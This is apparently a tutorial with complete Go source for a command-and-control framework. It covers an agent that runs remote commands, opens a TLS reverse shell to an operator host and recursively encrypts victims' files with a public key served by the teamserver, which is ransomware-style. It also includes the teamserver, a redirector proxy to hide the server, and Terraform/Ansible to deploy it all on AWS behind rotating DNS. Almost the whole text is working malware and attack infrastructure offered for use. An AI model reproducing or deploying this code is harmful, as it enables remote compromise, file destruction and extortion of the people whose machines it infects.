Github: https://github.com/thoughtfault/simple-golang-c2

Summary

We will develop a simple golang c2 agent that communicates over HTTPS with a teamserver. The agent has basic functionality such as executing commands, obtaining reverse shells, and recursively encrypting files. We will also create a reverse proxy to guard the teamserver location. We will deploy the teamserver and agents to AWS with terraform and ansible.

Development

Agent

Our agent retrieves instructions from the teamserver and returns output over HTTPS.

package main

import (
    "fmt"
    "os"
    "os/exec"
    "io"
    "io/fs"
    "io/ioutil"
    "path/filepath"
    "net/http"
    "net/url"
    "strings"
    "strconv"
    "time"
    "encoding/pem"
    "crypto/tls"
    "crypto/x509"
    "crypto/sha256"
    "crypto/rsa"
    "crypto/rand"
    "github.com/creack/pty"
    "github.com/wolfeidau/golang-self-signed-tls"
)

// Settings
const remoteAddr = "127.0.0.1:8443"
const namePath = "/tmp/.name"

var includeFiletypes = []string{}
var agentName string

// Helper method for making http requests
func request(method string, url string, data url.Values) (*http.Response, error) {
	var req *http.Request
	var reqErr error

	tlsConfig := &http.Transport {
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
	}
	client:= &http.Client{Transport: tlsConfig}

	if method == "GET" {
		req, reqErr = http.NewRequest("GET", url, nil)
	} else {
		req, reqErr = http.NewRequest("POST", url, strings.NewReader(data.Encode()))
		req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
	}
	if reqErr != nil {
		return nil, reqErr
	}

	req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36")

	resp, err := client.Do(req)
	if err != nil {
		return nil, err
	}

	return resp, nil
}

// Retrives the public key to use during encryption routines
func getKeyBlock() (*rsa.PublicKey, error) {
	resp, err := request("GET", "https://" + remoteAddr + "/pubkey", nil)
	if err != nil {
		return nil, err
	}

	respBytes, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		return nil, err
	}

    keyBlock, _ := pem.Decode(respBytes)

    keyValue, err := x509.ParsePKIXPublicKey(keyBlock.Bytes)
    if err != nil {
        return nil, err
    }

    return keyValue.(*rsa.PublicKey), nil

}

// Encrypts blocks of bytes with pubkey
func encrypt(plainBytes []byte, key *rsa.PublicKey) ([]byte, error) {
	var cipherBytes []byte
	hash := sha256.New()
	msgLen := len(plainBytes)
	step := key.Size() - 2*hash.Size() - 2

	for start := 0; start < msgLen; start += step {
		finish := start + step
        if finish > msgLen {
            finish = msgLen
        }

        newCipherBytes , err := rsa.EncryptOAEP(hash, rand.Reader, key, plainBytes[start:finish], nil)
        if err != nil {
            return nil, err
        }

        cipherBytes = append(cipherBytes, newCipherBytes...)
    }

    return cipherBytes, nil
}

// Wraper method for encrypt()
func encryptFile(path string, key *rsa.PublicKey) error {
    plainBytes, err := os.ReadFile(path)
    if err != nil {
        return err
    }

    cipherBytes, err := encrypt(plainBytes, key)
    if err != nil {
        return err
    }

    info, err := os.Stat(path)
    if err != nil {
        return err
    }

    err = os.WriteFile(path, cipherBytes, info.Mode())
    if err != nil {
        return err
    }
    return nil
}

// Wraper method for encryptFile()
func encryptDirectory(targetPath string, extensions []string, key *rsa.PublicKey) ([]string, error) {
	paths := make([]string, 0)
    err := filepath.Walk(targetPath, func(path string, info fs.FileInfo, err error) error {
		if err != nil {
			return err
		}
        if !info.IsDir() {
            if len(extensions) != 0 {
                splitFileName := strings.Split(info.Name(), ".")
                if contains(extensions, splitFileName[len(splitFileName) - 1]) {
                    err := encryptFile(path, key)
                    if err != nil {
                        return err
                    }
					paths = append(paths, path)
                }
            } else {
                err := encryptFile(path, key)
                if err != nil {
                    return err
                }
				paths = append(paths, path)
            }
        }
		return nil
    })
	if err != nil {
		return nil, err
	}
	return paths, nil
}

// Helper method for checkiing file extensions
func contains(extensions []string, target string) bool {
    for _, extension := range extensions {
        if extension == target {
            return true
        }
    }
    return false
}

// Invokes a reverse shell
func reverseShell(address string, port int) error {

	result, err := selfsigned.GenerateCert(
			selfsigned.Hosts([]string{"127.0.0.1", "localhost"}),
			selfsigned.RSABits(4096),
			selfsigned.ValidFor(365*24*time.Hour),
	)

	cert, err := tls.X509KeyPair(result.PublicCert, result.PrivateKey)
	if err != nil {
			return err
	}

    config := tls.Config{Certificates: []tls.Certificate{cert}, InsecureSkipVerify: true}

    conn, _ := tls.Dial("tcp", fmt.Sprintf("%s:%d", address, port), &config)

    commandObj := exec.Command("bash")
    f, err := pty.Start(commandObj)
	if err != nil {
		return err
	}

    go func() {
        _, _ = io.Copy(f, conn)
    } ()


    _, _ = io.Copy(conn, f)

    f.Close()
	return nil
}

// Retrieves instructions from remote server
func getCommand() (string, error) {
	resp, err := request("GET", "https://" + remoteAddr + "/" + agentName + "/getCommand", nil)
    if (err != nil) {
        return "", err
    }

    body, err := ioutil.ReadAll(resp.Body)
    if (err != nil) {
        return "", err
    }

    if (string(body) == "") {
        return "", err
    }

    return string(body), nil
}

// Runs a command
func runCommand(command string) (string, error) {
    commandArgs := strings.Split(command[:len(command)], " ")
    commandObj := exec.Command(commandArgs[0], commandArgs[1:]...)
    byteOutput, err := commandObj.Output()

    if (err != nil) {
        return "", nil
    }

    return string(byteOutput), nil
}

// Returns output to remote server
func returnOutput(output string) {
    data := url.Values{"output": {output}}
	request("POST", "https://" + remoteAddr + "/" + agentName + "/returnOutput", data)
}

// Returns an error to remote server
func returnError(err string) {
    data := url.Values{"error": {err}}
	request("POST", "https://" + remoteAddr + "/" + agentName + "/returnError", data)
}

// Registers itself or loads the agent name from filesystem
func getName(remoteAddr string) (string, error) {

    if _, err := os.Stat(namePath); err == nil {
        content, err := ioutil.ReadFile(namePath)
        if (err != nil) {
            return "", err
        }
        return string(content), nil
    }

    for {
		resp, err := request("GET", "https://" + remoteAddr + "/register", nil)
		if (err != nil) {
			return "", err
		}

		body, err := ioutil.ReadAll(resp.Body)
		if err != nil {
			return "", err
		}

		ioutil.WriteFile(namePath, body, 0600)
		return string(body), nil
    }
}


func main() {
    var command string
	var nameErr error
	var cmdErr error

    agentName, nameErr = getName(remoteAddr)
	if nameErr != nil {
		returnError(nameErr.Error())
	}


	command, cmdErr = getCommand()
	if (cmdErr != nil || len(command) == 0) {
		return
	}

	if (len(command) > 7 && command[:7] == "REVERSE") {
		remoteAddrInfo := strings.Split(command[8:], ":")
		if len(remoteAddrInfo) != 2 {
			returnError("Invalid syntax for REVERSE")
			return
		}

		address := remoteAddrInfo[0]
		port, err := strconv.Atoi(remoteAddrInfo[1])
		if err != nil {
			returnError(err.Error())
			return
		}

		err = reverseShell(address, port)
		if err != nil {
			returnError("unable to invoke reverse shell: " + err.Error())
		}
	} else if (len(command) > 7 && command[:7] == "ENCRYPT") {
		directories := strings.Split(command[8:], ":")

		key, err := getKeyBlock()
		if err != nil {
			returnError("Unable to get public key")
		}

		for _, directory := range directories {
			paths, err := encryptDirectory(directory, includeFiletypes, key)
			if err != nil {
				returnError(err.Error())
			} else {
				returnOutput(strings.Join(paths, " "))
			}
		}
	} else {
		output, err := runCommand(command)
		if (err != nil) {
			returnError("unable to run command: " + err.Error())
			return
		}

		returnOutput(output)
	}
}

Reverse proxy

Our reverse proxy simply forwards requests to our teamserver.

package main

import (
	"log"
	"os"
	"time"
	"net/url"
	"net/http"
	"net/http/httputil"
	"crypto/tls"
	"github.com/wolfeidau/golang-self-signed-tls"
)

// Settings
var remoteAddr string
const listenAddr = "0.0.0.0:443"
const logPath = "/opt/logs.txt"

// Hanlder function for all requests, forward to remoteAddr
func handleRequest(proxy *httputil.ReverseProxy) func(http.ResponseWriter, *http.Request) {
	return func(w http.ResponseWriter, req *http.Request) {
		log.Println(req.Method, "from", req.RemoteAddr, "to", remoteAddr)

		proxy.ServeHTTP(w, req)
	}
}

func main() {
	remoteAddr = os.Args[1]
	http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}
	file, err := os.OpenFile(logPath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0666)
	if err != nil {
			log.Fatal("unable to open logfile", err)
	}
	log.SetOutput(file)

	url, err := url.Parse(remoteAddr)
	if err != nil {
		log.Fatal("unable to parse remote address")
	}

	log.Println("creating reverse proxy to", remoteAddr)
	proxy := httputil.NewSingleHostReverseProxy(url)

	http.HandleFunc("/", handleRequest(proxy))

	log.Println("generating ssl certificates")
	result, err := selfsigned.GenerateCert(
		selfsigned.Hosts([]string{"127.0.0.1", "localhost"}),
		selfsigned.RSABits(4096),
		selfsigned.ValidFor(365*24*time.Hour),
	)
	if err != nil {
		log.Fatal("failed to generate ssl certificates", err)
	}

	cert, err := tls.X509KeyPair(result.PublicCert, result.PrivateKey)
	if err != nil {
			log.Fatal("failed to generate x509 keypair")
	}

	srv := &http.Server{
			Addr:    listenAddr,
			WriteTimeout: 15 * time.Second,
			ReadTimeout:  15 * time.Second,
			TLSConfig: &tls.Config{
					Certificates: []tls.Certificate{ cert },
			},
	}


	log.Println("listening on", listenAddr)
	log.Fatal(srv.ListenAndServeTLS("", ""))
}

Teamserver

Our teamserver provides the public routes that our reverse proxies will forward to. Operators can control the agents through the private routes, either by manually making requests or developing a basic cli client.

package main

import (
	"io"
	"log"
	"os"
	"crypto/tls"
	"crypto/rsa"
	"crypto/rand"
	"crypto/x509"
	"encoding/pem"
	mathrand "math/rand"
	"time"
	"strings"
	"net/http"
	"encoding/gob"
	"github.com/gorilla/mux"
	"github.com/wolfeidau/golang-self-signed-tls"
)

// Settings
const letters = "abcdefghijklmnopqrstuvwxyz"
const agentFile = "/opt/agents.gob"
const privKeyPath = "/opt/priv.pem"
const pubKeyPath = "/opt/public.pem"
const logPath = "/opt/logs.txt"
const listenAddr = "0.0.0.0:443"

type agent struct {
	Name string
	Address string
	Commands []string
	CommandOutput []string
}

var agents map[string]*agent

// Generates a random name with global letters
func generateName() string {
	name := make([]byte, 9)
	for i := range name {
		name[i] = letters[mathrand.Int63() % int64(len(letters))]
	}
	return string(name)
}

// Helper function to generate pem
func generateKeypair() error {
	privKey, err := rsa.GenerateKey(rand.Reader, 2048)
	if err != nil {
		return err
	}

	pubKey := &privKey.PublicKey

    privKeyBytes := x509.MarshalPKCS1PrivateKey(privKey)
    privKeyBlock := &pem.Block{
        Type:  "RSA PRIVATE KEY",
        Bytes: privKeyBytes,
    }
	privPem, err := os.Create(privKeyPath)
	if err != nil {
		return err
	}

	err = pem.Encode(privPem, privKeyBlock)
	if err != nil {
		return err
	}

    pubKeyBytes, err := x509.MarshalPKIXPublicKey(pubKey)
	if err != nil {
		return err
	}
    pubKeyBlock := &pem.Block{
        Type:  "PUBLIC KEY",
        Bytes: pubKeyBytes,
    }
	pubPem, err := os.Create(pubKeyPath)
	if err != nil {
		return err
	}

	err = pem.Encode(pubPem, pubKeyBlock)
	if err != nil {
		return err
	}
	return nil
}

// Loads agent info from filesystem
func loadAgents() error {
	file, _ := os.Open(agentFile)
	decoder := gob.NewDecoder(file)
	err := decoder.Decode(&agents)
	if err != nil {
		return err
	}
	file.Close()
	return nil
}

// Update agent info to filesystem
func updateAgents() {
	file, err :=  os.Create(agentFile)
	if err != nil {
		log.Println(err.Error())
	}

	gob.NewEncoder(file).Encode(agents)
	file.Close()
}

// Helper function for gettinf fields
func getField(req *http.Request, field string) string {
	vars := mux.Vars(req)
	return vars[field]
}

// Checks if a agent is communicating from a new IP address
func updateAddress(name string, remoteAddr string) {
	address := strings.Split(remoteAddr, ":")[0]
	if agents[name].Address != address {
		agents[name].Address = address
	}
}

// Private route to add command to command queue
func AddCommand(w http.ResponseWriter, req *http.Request) {
	if strings.Split(req.RemoteAddr, ":")[0] != "127.0.0.1" {
		log.Println("AddCommand: an unauthorized connection from", req.RemoteAddr, "was ignored")
		return
	}
	if req.Method != "POST" {
		io.WriteString(w, "METHOD NOT ALLOWED")
	}


	name := getField(req, "name")
	if _, ok := agents[name]; !ok {
		log.Println("AddCommand: agent with name", name, "is not found")
		return
	}

	if err := req.ParseForm(); err != nil {
		return
	}
	command := string(req.FormValue("command"))

	agents[name].Commands = append(agents[name].Commands, command)

	updateAgents()
	io.WriteString(w, name + " " + string(command))

	log.Println("added command (" + command + ") for", name)
}

// Private route to get command output
func GetOutput(w http.ResponseWriter, req *http.Request) {
	if strings.Split(req.RemoteAddr, ":")[0] != "127.0.0.1" {
		log.Println("GetOutput: an unauthorized connection from", req.RemoteAddr, "was ignored")
		return
	}
	if req.Method != "GET" {
		io.WriteString(w, "METHOD NOT ALLOWED")
	}

	name := getField(req, "name")
	if _, ok := agents[name]; !ok {
		log.Println("GetOutput: agent with name", name, "is not found")
		return
	}

	if len(agents[name].CommandOutput) == 0 {
		log.Println("an unauthorized connection from", req.RemoteAddr, "was ignored")
		io.WriteString(w, "NO RESULTS")
		return
	}

	result := agents[name].CommandOutput[0]
	agents[name].CommandOutput = agents[name].CommandOutput[1:]
	updateAgents()

	io.WriteString(w, result)
	log.Println("served (" + result + ") to administrator")
}

// Public route to serve commands to agents
func GetCommand(w http.ResponseWriter, req *http.Request) {
	if req.Method != "GET" {
		return
	}
	name := getField(req, "name")
	if _, ok := agents[name]; !ok {
		log.Println("GetCommand: agent with name", name, "is not found")
		return
	}
	updateAddress(name, req.RemoteAddr)
	if len(agents[name].Commands) == 0 {
		log.Println("agent with name", name, "has no commands in queue")
		return
	}

	command := agents[name].Commands[0]

	agents[name].Commands = agents[name].Commands[1:]
	updateAgents()

	io.WriteString(w, command)
	log.Println("served (" + command + ") to", name)
}

// Public route to assign names to agents
func RegisterAgent(w http.ResponseWriter, req *http.Request) {
	if req.Method != "GET" {
		return
	}
	name := generateName()
	newAgent := agent{Name: name, Address: strings.Split(req.RemoteAddr, ":")[0], Commands: make([]string, 0), CommandOutput: make([]string, 0)}

	agents[name] = &newAgent
	updateAgents()

	log.Println("added", name, req.RemoteAddr, "to agent pool")
	io.WriteString(w, name)
}

// Public route to retrieve errors from agents
func ReturnError(w http.ResponseWriter, req *http.Request) {
	if req.Method != "POST" {
		return
	}
	if err := req.ParseForm(); err != nil {
		return
	}

	outputErr := req.FormValue("error")
	name := getField(req, "name")
	if _, ok := agents[name]; !ok {
		log.Println("ReturnError: agent with name", name, "is not found")
		return
	}
	updateAddress(name, req.RemoteAddr)

	agents[name].CommandOutput = append(agents[name].CommandOutput, outputErr)
	updateAgents()

	log.Println("agent with name", name, "returned error of (" + outputErr + ")")
}

// Public route to retrieve output from agents
func ReturnOutput(w http.ResponseWriter, req *http.Request) {
	if req.Method != "POST" {
		return
	}
	if err := req.ParseForm(); err != nil {
		return
	}

	output := req.FormValue("output")
	name := getField(req, "name")
	if _, ok := agents[name]; !ok {
		log.Println("ReturnOutput: agent with name", name, "is not found")
		return
	}
	updateAddress(name, req.RemoteAddr)

	agents[name].CommandOutput = append(agents[name].CommandOutput, output)
	updateAgents()

	log.Println("agent with name", name, "returned output of (" + output + ")")
}

// Public route to server public key for encryption
func ServePubkey(w http.ResponseWriter, req *http.Request) {
	if req.Method != "GET" {
		return
	}
	if _, err := os.Stat(pubKeyPath); os.IsNotExist(err) {
		err := generateKeypair()
		if err != nil {
			log.Println("there was a problem generating keypairs")
			return
		}
	}

	content, err := os.ReadFile(pubKeyPath)
	if err != nil {
		log.Println("cannot read public key path", pubKeyPath)
		return
	}
	log.Println("served public key to", req.RemoteAddr)
	io.WriteString(w, string(content))
}

func main() {
	file, err := os.OpenFile(logPath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0666)
	if err != nil {
		log.Fatal("unable to open logfile", err)
	}
	log.SetOutput(file)

	if _, err := os.Stat(agentFile); err == nil {
		err := loadAgents()
		if err != nil {
			log.Fatal(err)
		}
		log.Println("loaded agents from", agentFile)
	} else {
		agents = make(map[string]*agent)
		log.Println("creating agents")
	}

	mathrand.Seed(time.Now().UnixNano())
	router := mux.NewRouter()
	log.Println("starting webserver", listenAddr)

	router.HandleFunc("/register", RegisterAgent)
	router.HandleFunc("/{name}/addCommand", AddCommand)
	router.HandleFunc("/{name}/getOutput", GetOutput)
	router.HandleFunc("/{name}/getCommand", GetCommand)
	router.HandleFunc("/{name}/returnError", ReturnError)
	router.HandleFunc("/{name}/returnOutput", ReturnOutput)
	router.HandleFunc("/pubkey", ServePubkey)

	result, err := selfsigned.GenerateCert(
		selfsigned.Hosts([]string{"127.0.0.1", "localhost"}),
		selfsigned.RSABits(4096),
		selfsigned.ValidFor(365*24*time.Hour),
	)

	cert, err := tls.X509KeyPair(result.PublicCert, result.PrivateKey)
	if err != nil {
		log.Fatal("unable to open ssl certificate files")
	}

	srv := &http.Server{
		Handler: router,
		Addr:    listenAddr,
		WriteTimeout: 15 * time.Second,
		ReadTimeout:  15 * time.Second,
		TLSConfig: &tls.Config{
			Certificates: []tls.Certificate{ cert },
		},
	}

	log.Fatal(srv.ListenAndServeTLS("", ""))
}

Deployment

Here is what our directory structure looks like:

├── files
│   ├── forwarder
│   ├── forwarder.service.j2
│   ├── server
│   ├── server.service
├── install-forwarder.yml
├── install-server.yml
├── main.tf
├── terraform.tfvars
└── variables.tf

Terraform

Our main terraform file will provision our ec2 instances and configure our DNS record. We are using the multivalue routing policy so that our agents don’t home back to the same IP address every period.

Contents of main.tf:

provider "aws" {
	region = var.region
}

data "aws_route53_zone" "this" {
	name			= var.domain_name
	private_zone	= false
}

resource "aws_vpc" "this" {
	cidr_block	= var.vpc_cidr
}

resource "aws_internet_gateway" "this" {
	vpc_id	= aws_vpc.this.id
}

resource "aws_route_table" "this" {
	vpc_id	= aws_vpc.this.id
	route {
		cidr_block 	= "0.0.0.0/0"
		gateway_id	= aws_internet_gateway.this.id	
	}

	route {
		ipv6_cidr_block 	= "::/0"
		gateway_id			= aws_internet_gateway.this.id	
	}
}

resource "aws_route_table_association" "this" {
	subnet_id		= aws_subnet.this.id
	route_table_id	= aws_route_table.this.id
}

resource "aws_subnet" "this" {
	vpc_id					= aws_vpc.this.id
	cidr_block				= var.subnet_cidr
}

resource "aws_security_group" "this" {
	vpc_id	= aws_vpc.this.id
	
	ingress {
		from_port			= 443
		to_port				= 443
		protocol			= "tcp"
		cidr_blocks			= ["0.0.0.0/0"]
	}

	ingress {
		from_port			= 22
		to_port				= 22
		protocol			= "tcp"
		cidr_blocks			= [var.operator_ip]
	}

	egress {
		from_port			= 0
		to_port				= 0
		protocol			= -1
		cidr_blocks			= ["0.0.0.0/0"]
		ipv6_cidr_blocks	= ["::/0"]
	}
}

resource "tls_private_key" "this" {
	algorithm	= "RSA"
	rsa_bits	= 4096	
}

resource "aws_key_pair" "this" {
	key_name	= var.key_name
	public_key	= tls_private_key.this.public_key_openssh
}

resource "local_file" "pk" {
	filename		= "${aws_key_pair.this.key_name}.pem"	
	content			= tls_private_key.this.private_key_pem
	file_permission = "0600"
}

resource "aws_instance" "server" {
	ami							= var.ami
	instance_type				= var.server_type
	vpc_security_group_ids		= [aws_security_group.this.id]
	key_name					= aws_key_pair.this.key_name
	subnet_id					= aws_subnet.this.id
	associate_public_ip_address = true

	provisioner "remote-exec" {
		connection {	
			host 		= self.public_ip
			user 		= "ubuntu"
		  	private_key = file("${var.key_name}.pem")
		}
		inline = ["echo connected"]
	}

	provisioner "local-exec" {
		command = "ANSIBLE_HOST_KEY_CHECKING=False ansible-playbook -i '${self.public_ip},' --private-key=${var.key_name}.pem install-server.yml"
	}
}

resource "aws_instance" "forwarder" {
	count						= var.forwarder_count

	ami							= var.ami
	instance_type				= var.forwarder_type
	vpc_security_group_ids		= [aws_security_group.this.id]
	key_name					= aws_key_pair.this.key_name
	subnet_id					= aws_subnet.this.id
	associate_public_ip_address = true

	provisioner "remote-exec" {
		connection {	
			host 		= self.public_ip
			user 		= "ubuntu"
		  	private_key = file("${var.key_name}.pem")
		}
		inline = ["echo connected"]
	}

	provisioner "local-exec" {
		command = "ANSIBLE_HOST_KEY_CHECKING=False ansible-playbook -i '${self.public_ip},' --private-key=${var.key_name}.pem --extra-vars \"server_ip='${aws_instance.server.public_ip}'\" install-forwarder.yml"
	}
}

resource "aws_route53_record" "this" {
	count								= var.forwarder_count

	zone_id								= data.aws_route53_zone.this.zone_id
	name 								= var.subdomain
	type								= "A"
	ttl									= 600
	multivalue_answer_routing_policy	= true
	set_identifier						= count.index
	records								= [aws_instance.forwarder[count.index].public_ip]
}

Contents of variables.tf

variable "region" {
	type		= string
	description	= "The region to deploy to"
}

variable "ami" {
	type		= string
	description	= "The AMI to for the instances"
}

variable "domain_name" {
	type			= string
	description		= "The domain name of the hosted zone to use for c2"
}

variable "vpc_cidr" {
	type			= string
	description		= "The cidr block for the vpc"
}

variable "subnet_cidr" {
	type			= string
	description		= "The cidr block for the subnet"
}

variable "operator_ip" {
	type			= string
	description		= "IP address for management traffic to come through"
}

variable "key_name" {
	type			= string
	description		= "The name of the private key"
}

variable "server_type" {
	type			= string
	description		= "Instance type for control server"
}

variable "forwarder_count" {
	type			= number
	description		= "Number of forwarders to provision"
}

variable "forwarder_type" {
	type			= string
	description		= "Instance type of forwarders"
}

variable "subdomain" {
	type			= string
	description		= "The subdomain to use for c2"
}

Contents of terraform.tfvars:

region = "us-east-1"
ami = "ami-072d6c9fae3253f26"
domain_name	= "yourdomain.com"
subdomain = "c2.yourdomain.com"
vpc_cidr = "192.168.1.0/24"
subnet_cidr = "192.168.1.0/24"
operator_ip = "xx.xx.xx.xx/32"
key_name = "deployment-key"
server_type = "t2.medium"
forwarder_type = "t2.micro"
forwarder_count = 10

Ansible

In our terraform file, we called local-exec to run our playbooks. These will configure our server and forwarders.

Contents of install-forwarder.yml

- name: Install c2 forwarders
  hosts: all
  remote_user: ubuntu
  become: yes
  tasks:
    - name: Copy binary
      ansible.builtin.copy:
        src: files/forwarder
        dest: /opt/forwarder
        mode: '0755'

    - name: Copy service file
      ansible.builtin.template:
        src: files/forwarder.service.j2
        dest: /etc/systemd/system/forwarder.service
        mode: '0644'

    - name: Start service
      ansible.builtin.service:
        state: restarted
        daemon_reload: yes
        name: forwarder 

Contents of install-server.yml

- name: Install c2 server
  hosts: all
  remote_user: ubuntu
  become: yes
  tasks:
    - name: Copy binary
      ansible.builtin.copy:
        src: files/server
        dest: /opt/server
        mode: '0755'

    - name: Copy service file
      ansible.builtin.copy:
        src: files/server.service
        dest: /etc/systemd/system/server.service
        mode: '0644'

    - name: Start service
      ansible.builtin.service:
        state: restarted
        daemon_reload: yes
        name: server

References

https://github.com/wolfeidau/golang-self-signed-tlshttps://www.systutorials.com/how-to-generate-rsa-private-and-public-key-pair-in-go-lang/ https://0xrick.github.io/misc/c2/ https://stackoverflow.com/questions/62348923/rs256-message-too-long-for-rsa-public-key-size-error-signing-jwt https://medium.com/rungo/secure-https-servers-in-go-a783008b36da https://eli.thegreenplace.net/2021/go-https-servers-with-tls/ https://blog.joshsoftware.com/2021/05/25/simple-and-powerful-reverseproxy-in-go/ https://www.systutorials.com/how-to-generate-rsa-private-and-public-key-pair-in-go-lang https://stackoverflow.com/questions/67389324/create-a-key-pair-and-download-the-pem-file-with-terraform-aws